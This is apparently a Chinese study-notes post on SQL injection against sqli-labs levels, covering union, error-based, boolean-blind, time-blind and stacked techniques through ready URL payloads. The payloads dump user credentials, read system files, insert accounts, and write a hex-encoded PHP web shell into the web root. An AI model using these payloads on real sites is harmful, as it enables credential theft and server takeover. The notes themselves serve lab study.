sql注入

问题

1、SQL注入原理

在数据交互中,前端的数据传入到后台进行处理时,没有做严格的判断,过滤。导致传入的“数据”拼接到SQL语句中,被当作SQL语句的一部分执行,导致信息泄露。

2、如何判断注入点

可以对输入数据的地方输入一些特殊字符,看服务器是否会去执行。要是没有返回信息,可能是盲注。

联合注入

例子:(sql_lab第1关为例)

(1)找闭合

?id=1' and 1=1--+

(2)确定列数

?id=1' order by 1--+

(3)查看是否回显

?id=-1' union select 1,2,3--+

(4)查数据库名、表名

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

(5)查列名

?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

(6)查询数据

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+

(7)读文件

?id=-1' union select 1,2,load_file('C:/Windows/win.ini')--+

(8)写文件

?id=-1' union select 1,2,'' into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

?id=-1' union select 1,2,load_file("C:/yyy.php") into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

报错注入(有错误报出)

例子:(sql_lab第5关为例)

(1)找闭合

?id=1' and 1=1--+

(2)确定列数

?id=1' order by 1--+

(3)查看是否回显

?id=-1' union select 1,2,3--+

(4)查数据库名

?id=1' or extractvalue(1,concat(0x7e,(select database()),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

(5)查表名

?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

(6)查列名

?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1)--+

(7)查数据

?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(username,"^",password) from security.users),1,30),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(username,"^",password) from security.users),1,30),0x7e),1)--+

(8)读文件

?id=1' or extractvalue(1,concat(0x7e,substr((select load_file("C:/Windows/win.ini")),1,30),0x7e))--+

?id=1' or updatexml(1,concat(0x7e,substr((select load_file("C:/Windows/win.ini")),1,30),0x7e),1)--+

?id=-1' union select 1,2,load_file('C:/Windows/win.ini')--+

(9)写文件

?id=-1' union select 1,2,'' into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

?id=-1' union select 1,2,load_file("C:/yyy.php") into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

布尔盲注(不管输入什么,界面只会出现两种结果)

例子:(sql_lab第8关为例)

(1)找闭合

?id=1' and 1=1--+

(2)确定列数

?id=-1' order by 1--+

(3)查看是否回显(可以用来写文件)

?id=-1' union select 1,2,3--+

(4)猜数据库长度

?id=1' and length(database())=8--+

(5)猜数据库名

?id=1' and substr(database(),1,1)='s'--+

?id=1' and ascii(substr(database(),1,1))=115--+

(6)猜出数据库后猜数据库中表的数量

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

(7)猜表名长度

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+

依次类推一直猜......

(8)读文件(布尔盲注读不出来)

?id=-1' union select 1,2,file_load("C:/Windows/win.ini")--+

(9)写文件

?id=-1' union select 1,2,"" into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+

时间盲注(不管输入什么,界面都是一样的)

例子:(sql_lab第9关为例)

(1)找闭合

?id=1' and if(1=1,sleep(3),0)--+

(2)猜数据长度

?id=1' and if(length(database())=8,sleep(3),0)--+

(3)猜数据库名

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+

(4)猜数据库中表数量

?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=6,sleep(3),0)--+

(5)猜表名长度

?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(3),0)--+

依次类推一直猜......

(6)读文件(可以用来探测是否存在这个文件)

?id=1' and if(length(load_file("C:/test.php"))>1,sleep(3),0)--+

(7)写文件

?id=1' into outfile "E:/Security/phpstudy_pro/WWW/yyy.php" lines terminated by ""--+

?id=1' into outfile "E:/Security/phpstudy_pro/WWW/yyy.php" lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C657373395D293B3F3E--+

堆叠注入(利用mysqli_multi_query()函数)

例子:(sql_lab第38关为例)

(1)可写入数据到数据库

?id=1' union select 1,2,3;insert into users(username,password) value("yyy","yyy");

3、sqlmap学习

6.sql注入的更多相关文章

  1. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  2. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  3. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  4. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  5. 揭开SQL注入的神秘面纱PPT分享

        SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助.     点击这里下载.

  6. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  7. jdbc java数据库连接 8)防止sql注入

    回顾下之前jdbc的开发步骤: 1:建项目,引入数据库驱动包 2:加载驱动 Class.forName(..); 3:获取连接对象 4:创建执行sql语句的stmt对象;  写sql 5:执行sql ...

  8. Entity Framework关于SQL注入安全问题

    1.EF生成的sql语句,用 parameter 进行传值,所以不会有sql注入问题 2.EF下有涉及外部输入参数传值的,禁止使用EF直接执行sql命令方式,使用实体 SQL   参考: https: ...

  9. 关于SQL注入和如何防止

    之前在笔试的时候没有很好的答出这个问题,因此我要总结一下问题,以免日后继续在这个地方跌倒,以下是自己的理解,如有错误请指出 一.什么是SQL注入 SQL注入就是服务器在根据业务去处理数据库的时候,客户 ...

  10. Java防止SQL注入2(通过filter过滤器功能进行拦截)

    首先说明一点,这个过滤器拦截其实是不靠谱的,比如说我的一篇文章是介绍sql注入的,或者评论的内容是有关sql的,那会过滤掉:且如果每个页面都经过这个过滤器,那么效率也是非常低的. 如果是要SQL注入拦 ...

随机推荐

  1. 链表与malloc的疑惑

    1.奇怪点:如果我只是需要一个结点的空间为什么malloc的转换形式写成--Node=(int *)malloc(sizeof(int)) 自我解答:void *malloc(unsigned int ...

  2. Linux ~ jenkins 直接安装

    前置条件: 1. Jenkins是由java编写的,所以最好安装java8以上的环境 开始安装: 1. 配置yum源,将jenkins导入yum源 sudo wget -O /etc/yum.repo ...

  3. 【pytest】@pytest.fixture与@pytest.mark.parametrize结合实现参数化

    背景:测试数据既要在fixture方法中使用,同时也在测试用例中使用 使用方法:在使用parametrize的时候添加"indirect=True"参数.pytest可以实现将参数 ...

  4. 学Java的第5天,今天做了个双色球系统

    今天是学JAVA的第5天,刚刚把方法学完,然后就在这做黑马的题. 用了一个多小时时间,把他的 这些题都做完了 但是最后一道题,这个双色球系统我感觉挺有意思的 我看到这个题,分析后感觉需要4种方法: 1 ...

  5. APPscan设置自动扫描时间

    一.设置位置 1.在设置自动扫描时间之前,我们要先创建扫描配置,然后再启动设置面板.2.启动AppScan,单击展开软件顶部菜单栏[工具]按钮,单击下拉菜单内[扫描调度程序],便可启动自动扫描的设置面 ...

  6. PVE设置定时关闭、启动虚拟机

    shell中输入命令: crontab -e 进入对应cron 添加命令: 例如: 00 2 * * * pvesh create /nodes/pve/qemu/102/status/stop 00 ...

  7. Linux系统管理实战-配置静态IP

    配置静态IP 前置条件 防火墙: EL7 EL6 查看状态: # systemctl status firewalld # /etc/init.d/iptables status 立即关闭: # sy ...

  8. 解决VSCode无法显示Unity代码提示和源代码

    1,先删除项目目录下的配置文件,也可以理解为除文件夹外的其他文件 2,先把vscode选中,下拉框中没有vscode的找到文件就可以导进来再选中.然后红框里的不要勾选,因为我是这么做的,你也可以试着勾 ...

  9. vue iview前端直接上传OSS

    1. 首先安装oss npm install ali-oss --save 2. // template部分 <Upload ref="upload" type=" ...

  10. python&C++区别

    1.类的定义  struct ListNode {  *     int val;  *     ListNode *next;  *     ListNode(int x) : val(x), ne ...